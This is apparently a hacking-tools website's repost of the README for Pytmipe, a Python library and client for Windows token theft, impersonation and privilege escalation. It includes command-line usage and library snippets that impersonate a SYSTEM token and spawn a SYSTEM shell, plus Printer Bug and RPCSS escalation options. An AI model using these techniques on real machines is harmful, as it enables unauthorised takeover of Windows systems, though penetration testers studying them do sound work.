• Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Menu
  • Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Search
Close
  • Home
  • 2020
  • December
  • 4
  • Pytmipe – Python Library And Client For Token Manipulations And Impersonations For Privilege Escalation On Windows

Pytmipe – Python Library And Client For Token Manipulations And Impersonations For Privilege Escalation On Windows

December 4, 2020 Comments Off on Pytmipe – Python Library And Client For Token Manipulations And Impersonations For Privilege Escalation On Windows
Pytmipe - Python Library And Client For Token Manipulations And Impersonations For Privilege Escalation On Windows cybersecurity ethical hacking hack android hack app hack wordpress hacker news hacking hacking tools for windows keylogger kit kitploit password brute force penetration testing pentest pentest android pentest linux pentest toolkit pentest tools spy tool kit spyware tools

PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) is a Python 3 library for manipulating Windows tokens and managing impersonations in order to gain more privileges on Windows. TMIPE is the python 3 client which uses the pytmipe library.

Content

  • A python client: tmipe (python3 tmipe.py)
  • A python library: pytmipe. Useful for including this project in another one
  • pytinstaller examples, for getting standalones exes

Docs

  • Slides “Windows Token Manipulation, Impersonation & Privilege Escalation” (English): link

  • Article in MISC 112 (French): link

Main features

Method Required Privilege(s) OS (no exhaustive) Direct target (max)
Token creation & impersonation username & password All local administrator
Token Impersonation/Theft SeDebugPrivilege All nt authoritysystem
Parent PID spoofing (handle inheritance) SeDebugPrivilege >= Vista nt authoritysystem
Service (SCM) Local administrator (and high integrity level if UAC enabled) All nt authoritysystem or domain account
WMI Event Local administrator (and high integrity level if UAC enabled) All nt authoritysystem
« Printer Bug » LPE SeImpersonatePrivilege (Service account) Windows 8.1, 10 & Server 2012R2/2016/2019 nt authoritysystem
RPCSS Service LPE SeImpersonatePrivilege (Service account) Windows 10 & Server 2016/2019 nt authoritysystem

Capabilities

The following non-exhaustive list shows some features implemented in pytmipe library:

  • Token and privileges management:
    • get, enable or disable privilege(s) on token for current or remote thread
    • get local or remote token information
    • get effective token for current thread (impersonation or primary token)
  • get many information about selected token(s):
    • elevation type, impersonation type, Linked token with details, SID, ACLs, default groups, primary group, owner, privileges, source
    • etc
  • List all tokens which are accessible (primary & impersonation tokens) from current thread:
    • 2 different methods implemented: “thread” method and “handle” method (favorite)
    • check if token can be impersonated
    • get information about each token (elevation type, impersonation type, Linked token, SID, etc)
    • get all tokens which are accessible by account name (SID)
  • Impersonate a token or user:
    • Make Token and Impersonate (requires credentials of user)
    • Token impersonation/theft (specific privileges are required): impersonate a chosen token
    • Create Process with a token (specific privileges are required): impersonate a chosen token and create new process
    • Impersonate first nt authoritysystem token found
    • impersonate primary token of remote process with pid
  • Escalation methods:
    • Parent PID Spoofing – Handle Inheritance
    • Service Manager via direct command or named pipe impersonation: local administrator to nt authoritysystem (or orther privileged account)
    • Task scheduler via direct command or named pipe impersonation: local administrator to nt authoritysystem
    • WMI job via direct command or named pipe impersonation: local administrator to nt authoritysystem
    • Printer Bug: SeImpersonatePrivilege to nt authoritysystem
    • RPCSS: SeImpersonatePrivilege to nt authoritysystem
    • Re enable privileges via task scheduling and named pipe impersonation

Dependencies

ctypes is used a maximum of time. Many features of pywin32 have been re developped in pytmipe to avoid the use of pywin32 for better portability. However, Task Scheduler module still uses pywin32 (more precisely pythoncom) by lack of time. All other modules uses ctypes only.

HOW TO USE

For python client (named tmipe):

python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...

**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imp token,printerbug,rpcss,spoof,impuser,runas,scm}

Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager

optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit

For python library (named pytmipe), see source code and examples. Normally, I have well documented the source code… Most of functions are documented.

For pyinstaller examples and standalones, see files in src/examples/ folders.

Examples

If you want to know how to use pytimpe library, see src/examples folder for many examples.

Example 1: get nt authoritysystem

For impersonating the first system token and get a cmd.exe prompt as system from python client (tmipe):

python.exe tmipe.py searchimpfirstsystem -vv

For doing the same thing thanks to the pytmipe library directly, see the src/examples/searchAndImpersonateFirstSystemToken.py:

from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

It will open a cmd.exe prompt as system if the current Windows user has required rights.

Of course, from this source code, you can create a standlone exe with pyinstaller.

Example 2: get tokens

For getting primary and impersonation(s) tokens used in current process:

python.exe tmipe.py printalltokens --current --full --linked

Output:

- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP

For getting all tokens which are accessible from current thread, organized by pid, when the impersonation is possible only:

python.exe tmipe.py printalltokensbypid --imp-only

Output:

[...]
- PID 4276:
- S-1-5-18: NT AUTHORITYSYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAINUSER (possible imp: True)
- S-1-5-20: NT AUTHORITYNETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITYSYSTEM (possible imp: True)
- S-1-5-90-0-1: Window ManagerDWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITYLOCAL SERVICE (possible imp: True)
[...]

If you want to do this operation with the pytmipe library, it is easy too:

from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Example 3: impersonate token

You can impersonate a selected token.

First step, get all tokens according to your filters (system tokens and tokens which can be impersonated by current thread):

python.exe tmipe.py printalltokens --filter {"sid":"S-1-5-18","canimpersonate":true}

Output:

[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]

This previous output shows an impersonation token located in the pid 2288 (ihandle 118), which has an integrity level system. It is possible to impersonate this specific token with the following command:

python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

This previous command opens a cmd.exe as nt authoritysystem.

This can be done with the pytmipe library too. Following source code impersonates the first system token available, prints effective token and it stops impersonation:

from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impe rsonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Download Pytmipe

Post navigation

Enum4Linux-Ng – A Next Generation Version Of Enum4Linux (A Windows/Samba Enumeration Tool) With Additional Features Like JSON/YAML Export
Go365: Office365 User Attack Tool

Related Articles

safety v1.10.3 releases: checks your installed dependencies for known security vulnerabilities

safety v1.10.3 releases: checks your installed dependencies for known security vulnerabilities

- Hack Tools
January 16, 2021
Ssh-Mitm - Ssh Mitm Server For Security Audits Supporting Public Key Authentication, Session Hijacking And File Manipulation

Ssh-Mitm – Ssh Mitm Server For Security Audits Supporting Public Key Authentication, Session Hijacking And File Manipulation

- Hack Tools
January 16, 2021
shellex: C-shellcode to hex converter

shellex: C-shellcode to hex converter

- Hack Tools
January 15, 2021
hacker gadgets
hacker phone covers

Recent Posts

safety v1.10.3 releases: checks your installed dependencies for known security vulnerabilities

safety v1.10.3 releases: checks your installed dependencies for known security vulnerabilities

January 16, 2021
Ssh-Mitm - Ssh Mitm Server For Security Audits Supporting Public Key Authentication, Session Hijacking And File Manipulation

Ssh-Mitm – Ssh Mitm Server For Security Audits Supporting Public Key Authentication, Session Hijacking And File Manipulation

January 16, 2021
Windows 10 NTFS file system has a vulnerability

Windows 10 NTFS file system has a vulnerability

January 15, 2021
shellex: C-shellcode to hex converter

shellex: C-shellcode to hex converter

January 15, 2021
CVE-2021-3129: Laravel Arbitrary Code Vulnerability Alert

CVE-2021-3129: Laravel Arbitrary Code Vulnerability Alert

January 15, 2021
Stegbrute - Fast Steganography Bruteforce Tool Written In Rust Useful For CTF's

Stegbrute – Fast Steganography Bruteforce Tool Written In Rust Useful For CTF’s

January 15, 2021

Social Media Hacking

SocialPath – Track users across Social Media Platforms

SocialPath – Track users across Social Media Platforms

- Social Media Hacking
October 16, 2019October 16, 2019

SocialPath is a django application for gathering social media intelligence on specific username. It checks for Twitter, Instagram, Facebook, Reddit...

SocialScan – Check Email Address and Username Availability on Online Platforms

SocialScan – Check Email Address and Username Availability on Online Platforms

June 17, 2019
Shellphish – Phishing Tool For 18 Social Media Apps

Shellphish – Phishing Tool For 18 Social Media Apps

June 10, 2019July 27, 2019
WhatsApp Hacking using QRLJacking

WhatsApp Hacking using QRLJacking

May 2, 2019May 19, 2019
How to Hack any Facebook Account with Z-Shadow

How to Hack any Facebook Account with Z-Shadow

April 26, 2019June 29, 2020
hacker buffs
ABOUT US

Haxf4rall is a collective, a good starting point and provides a variety of quality material for cyber security professionals.

Our primary focus revolves around the latest tools released in the Infosec community and provide a platform for developers to showcase their skillset and current projects.

COMPANY
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • Lanc Remastered
  • Privacy Policy
  • Rainmeter Skins
  • Sitemap
  • Submit your Tool
Menu
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • Lanc Remastered
  • Privacy Policy
  • Rainmeter Skins
  • Sitemap
  • Submit your Tool
Live Chat
RESOURCES
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Menu
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Get Started
TOOLBOX
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Menu
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Tools Directory

2014 – 2020 | Haxf4rall.com               Stay Connected:

Facebook
Twitter
Google-plus
Wordpress
Please wait...

Join Our Community

Subscribe now and get your free HACKERS HANDBOOK

Don't Worry ! You will not be spammed
SIGN UP FOR NEWSLETTER NOW